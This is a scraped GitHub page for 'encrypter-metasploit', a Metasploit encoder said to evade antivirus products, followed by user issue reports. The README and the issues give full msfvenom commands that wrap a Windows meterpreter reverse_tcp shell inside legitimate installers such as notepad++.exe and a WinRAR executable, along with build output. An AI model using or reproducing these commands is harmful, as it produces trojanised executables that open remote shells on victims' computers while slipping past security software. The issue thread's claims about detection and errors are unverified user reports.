sogeti-pentest / encrypter-metasploit

Encrypter-Metasploit

This tool permit to evade any antivirus products. It use a brute force attack on a known plain text to bypass the sandbox.

Installation

Copy bf_xor.rb in metasploit/modules/encoders/x86/

Usage

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=7777 -f raw -x notepad++.exe -f exe-only -e x86/bf_xor -o output.exe

encrypter-metasploit's Issues

Windows Defender detect it

Hi,I did all you wrote in the file "READ.md" but It doesn't work

Error: undefined method `datastore' for nil:NilClass

Hi this error happen with your encoder
root@kali:/Scrivania# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.2.28 LPORT=443 -x /root/Scrivania/WRar540it.exe -f exe-only -e x86/bf_xor > /root/Scrivania/a.exe
Error: undefined method `datastore' for nil:NilClass
The exe don t work i have Linux kali 4.7.0-kali1-686-pae #1 SMP Debian 4.7.6-1kali1 (2016-10-17) i686 GNU/Linux
I don t know becouse happen it if i use another encoder with the same setting he create a good exe
root@kali:/Scrivania# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.2.28 LPORT=443 -x /root/Scrivania/WRar540it.exe -f exe-only -e x86/shikata_ga_nai > /root/Scrivania/a.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe-only file: 2154928 bytes
root@kali:~/Scrivania#